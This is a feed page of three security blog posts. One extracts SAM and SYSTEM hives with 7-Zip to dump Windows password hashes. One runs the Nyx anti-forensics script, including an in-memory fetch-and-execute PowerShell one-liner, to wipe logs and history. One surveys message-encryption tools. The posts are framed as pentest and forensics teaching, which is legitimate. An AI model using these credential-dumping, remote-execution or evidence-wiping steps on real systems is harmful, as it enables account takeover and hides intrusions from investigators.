❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Digital Forensics: Attacking SAM and Extracting Hashes With 7z

12 August 2026 at 13:48

Welcome back, cyberwarriors!

The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.

Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.

Credit where it’s due, Jonas Lyk shared this approach.

Extracting Hives

To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.

Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.

Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive.Β 

System hives live in Windows\System32\config

Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.

File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.

kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL

We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.

Terminal

This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.

There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.

Summary

Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.

It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Attacking SAM and Extracting Hashes With 7z first appeared on Hackers Arise.

Anti-Forensics: Hiding Your Presence with Nyx

3 August 2026 at 10:36

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC.Β 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform.Β 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, ourΒ Anti-ForensicsΒ training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.

Anti-Forensics: How to Encrypt Messages in Any Messenger or Social Network

6 July 2026 at 10:24

Welcome back, aspiring cyberwarriors!

Many of us are being pushed toward insecure messengers and social networks. These communication channels may be monitored and are not trustworthy. That does not mean private communication is impossible. Far from it. One of the oldest and most practical problems in cryptography is how to send a secret message through an open channel without making the message obvious to anyone who sees it. And that problem has already been solved very well.

The encrypted text does not always have to look like encrypted text. A message can be hidden in plain sight so that it looks like ordinary content, or it can be embedded inside something else entirely, such as audio, video, or text that does not raise suspicion. That is the realm of steganography. Cryptography protects the meaning. Steganography helps hide the fact that a message exists at all.

For most people, though, the real need is much simpler. They want a practical and convenient way to encrypt messages quickly and reliably. So let’s look at some easy tools that make that possible.

Workflow

The workflow is always the same. First, the sender and recipient agree on a secret password or passphrase. A short sentence made up of several words is often better than a single word because it is easier to remember and usually much stronger. Then the sender pastes the message into the tool, clicks Encrypt, enters the password, and sends the resulting encrypted text through whatever channel they want, even if that channel is insecure. The recipient then uses the same tool and the same password to decrypt the message.

That is the basic pattern, and it stays consistent across different tools and platforms.

Web-Based Encryption Tools

There are browser-based applications that can encrypt text very effectively, and they are often the easiest place to begin. But there is one very important detail. You want to make sure the encryption happens entirely on the client side. That means the message is processed inside your browser, on your own machine, and the password never leaves your device. If the server never sees the key, the risk of leakage is much lower.

That point is worth checking. A good looking website is not automatically secure. One way to verify local processing is to monitor browser traffic using Developer Tools, or DevTools, and see whether your password is being sent over the network. Another way is to use a firewall application such as Little Snitch and observe whether the service tries to communicate with remote servers during encryption or decryption. If the system is truly local, the encrypted message can later be decrypted either through the same browser-based Decrypt form or offline with OpenSSL.

There are a few websites out there.Β 

The first one is Encrypt Online. It uses AES-256-CBC to encrypt text, strings, JSON, YAML and config data directly in your browser. It’s considered to be a strong, mathematically unbreakable encryption algorithm.

Encrypt Online

Paranoia Text Encryption uses AES-256 in EAX mode with keys derived from passwords using Argon2. That combination is strong and modern.

Paranoia Text Encryption

LOCK.PUB is another browser-based option, focused on creating encrypted online notes, polls, images, audio and a lot more. The content can only be accessed with the correct password.

Lock Pub

For users who want something more flexible and technical, GCHQ CyberChef is a powerful open-source option from the UK’s GCHQ intelligence agency. It supports many encryption and encoding operations.Β 

Cyber Chef

AES UtilsΒ is another choice, using AES-256-GCM with PBKDF2 while keeping the interface simple.

AES Untils

Warning

As a contrast, it is useful to look at what should not be considered a proper secure solution. MagicTool encrypts and decrypts text without requiring a password.Β 

Magic Tool

At first glance that may sound convenient, but from a cryptographic point of view it means the same built-in secret is used every time. If anyone knows the website and the service’s behavior, they may be able to infer or recover the messages. In that setup, the tool itself is functioning like the secret key simply by existing.

That is not a strong cryptographic model. However, in some situations, β€œencryption” without a user-provided key could still serve a purpose. For example, it might be used to deceive an adversary into believing you are an inexperienced user who does not know how to encrypt messages properly, when your real objective is to feed them specific information in a controlled manner.

Offline Encryption Software

Browser tools are convenient, but sometimes you want something local, traditional, and fully under your control. Linux, Windows, and macOS all have native or widely trusted applications that can encrypt text and files without relying on a remote browser service.

Common examples include command-line tools such as GnuPG, OpenSSL, and ccrypt, along with password managers, VeraCrypt, Cryptomator, and a wide range of similar utilities. These tools are often used not only for text messages but also for file encryption, container protection, and secure storage.

Offline tools have an advantage because they reduce the number of outside systems involved in the process. You are not dependent on a remote website staying available, and you do not need to trust a third-party server with your content or password. For many users, that is a better model from a privacy perspective. At the same time, it is important to understand that privacy tools still leave traces. On a Windows system, a digital forensics investigator may be able to see installation artifacts, program execution history, registry keys, recent files, shortcut files, jump lists, user activity traces, prefetch data and remnants of encrypted containers or text editors. Even when the content itself remains protected, the fact that you used a particular application may still be visible in the system’s history.

That is why privacy-conscious users often prefer systems that are designed to leave fewer traces by default. A privacy-oriented operating system, live environment, or hardened Linux distribution can be a better choice when your goal is to reduce unnecessary local exposure.Β 

Summary

Encrypting messages is a simple and useful privacy skill. Whether you use a browser-based tool or you prefer offline software the basic principle is the same.Β 

The right tool depends on the situation. Browser-based tools are convenient and fast. Offline tools give you more independence and more control. Some systems are designed for strong cryptography, while others are only suitable for demonstration or deceptive use. Understanding the difference matters.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: How to Encrypt Messages in Any Messenger or Social Network first appeared on Hackers Arise.

❌
❌